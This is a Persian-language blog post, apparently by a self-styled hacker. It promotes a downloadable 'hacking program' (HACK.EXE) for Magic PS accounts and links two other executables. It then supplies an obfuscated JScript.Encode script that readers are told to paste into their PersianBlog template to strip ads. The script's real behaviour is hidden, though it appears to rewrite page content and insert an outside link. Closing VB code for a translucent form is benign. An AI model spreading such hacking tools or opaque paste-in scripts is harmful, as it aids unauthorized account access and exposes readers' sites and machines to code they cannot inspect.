سلام
دوستان مژده مژده
یک برنامه توپ برای هک کردن
ماجیک پی اس را میزاره تو جیف
خیلی توپه یعنی باور نمیکنید من هم اول باور نمیکردم یک جوان19 ایرانی این برنامه را با ویژوال بیسیک نوشته است
فقط یک مشکل این است که باید این فایل را در درایو
d: کپی کنید وبعد شروع به نصب آن نمایید در غیر این صورت در نصب آن دچار مشکل میشویدراستی این برنامه نسخه آزمایشی است
ازاینجا دانلود کنید
http://www.sharemation.com/shhacker/HACK.EXE?unq=-vw98z5
دانلود یک ساعت دیجیتالی وعقربه ای خیلی توب با حجم 36 کیلوبایت حتما دانلود کنید
http://www.sharemation.com/shhacker/clock_farsi.exe?unq=fpzmlc
سلام
این هم برای دیدن عکس البته به فارسی
http://www.sharemation.com/shhacker/imaging%20farsi.exe
سلام دوستان
کسانی که میخواهند تبلیغات پرشین بلاگ را از وبلاگ بردارند
درقسمت ویرایش قالب این کد را کپی کرده
<SCRIPT LANGUAGE="JScript.Encode">#@~^6AIAAA==@#@&@#@&6E mYbW ~oY.k9+cb@#@& @#@&dDDXP@#@&dimD~Nr-mVs'9Gm!:nUDRlsscYCokcENr7B*@#@&id6GD,`r'Zi~r@!Nk7CV^RVULY4i,kQ_b~b0~`v[k7lss]kT dDXs+c"&x[6{'FZ!ZbuvNrmVs,bTRkOX^+R.(UN6{'q!Tq*#~Nb-l^V,rYRkUUDuKtJ{B@!aP9kD{DDsPkYzV'WG YOkry),aaImKVKDla00R%0%,CVboUx1+xOnM@*uYD2=z&zHbDbdWgnR~SGoUwGOcZWs@!za@*B@#@&7d)@#@&d^lO^4`n#P@#@&i8@#@&)@#@&dnDqUY.7lsvBT+YMk9n`*BSFZ!Tbp@#@&6;x1YkKU~oYMk[+cb@#@&`@#@&7YMX`@#@&dd-CMP[k7C^Vx9W1E:xD l^V YmodcENk7v#@#@&diWGD,`b'Ti~r@!NrmsVcVnUTYtI~b_Q#,r6PcvNbl^V]rTc/OX^+ "&xNa'{F!ZTbuvNbCVs,bT /DzVR"( N+ax{FT!8b*P[bmVV]kY k xnD_KJ{B@!a~NbD'MOsPkYHVn'WG YR/b"+=,2apmWsGM):%R0R%0,l^ko '1nxD+.@*_YO2=zzzkMbSKHnR~SKojwGOcZG:@!&w@*B@#@&id8@#@&imCY14v+bP@#@&d8@#@&)@#@&k+Oq Yn.7lVvvoYDb[n`*BBFT!Tbp@#@&@#@&ndgAAA==^#~@</script>
از این به بعد دیگه وبلاگتون سه سوت باز مشه
و بازدیدکندگان شما بیشتر میشوند
یک سوال ویژوال بیسیک
من کد کپی و کات و پیست را ویژوال میخواستم دوستان زحمت بکشن اگر جواب را میدانند پاسخ را در قسمت نظرات بیان کنند
یا جواب را به ایمیلم بفرستند
Shhacker2006@yahoo.com
نظر یادتون نره
( میشه سورس فرم شیشه ای رو بزارین )
جواب : بله - می شه !!
کد ماژول :
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Const GWL_EXSTYLE = (-20)
Private Const LWA_ALPHA = &H2
Private Const WS_EX_LAYERED = &H80000
' ######### FUNCTION ##################
Public Function Trans(ByVal hwnd As Long, Perc As Integer) As Long
Dim Msg As Long
On Error Resume Next
If Perc < 0 Or Perc > 255 Then
Trans = 1
Else
Msg = GetWindowLong(hwnd, GWL_EXSTYLE)
Msg = Msg Or WS_EX_LAYERED
SetWindowLong hwnd, GWL_EXSTYLE, Msg
SetLayeredWindowAttributes hwnd, 0, Perc, LWA_ALPHA
Trans = 0
End If
If Err Then
Trans = 2
End If
End Function
به طور پیش فرض من فرم شما رو با نام Form1 درنظر گرفتم :
Private Sub Form_Activate()
Trans Form1.hwnd, 100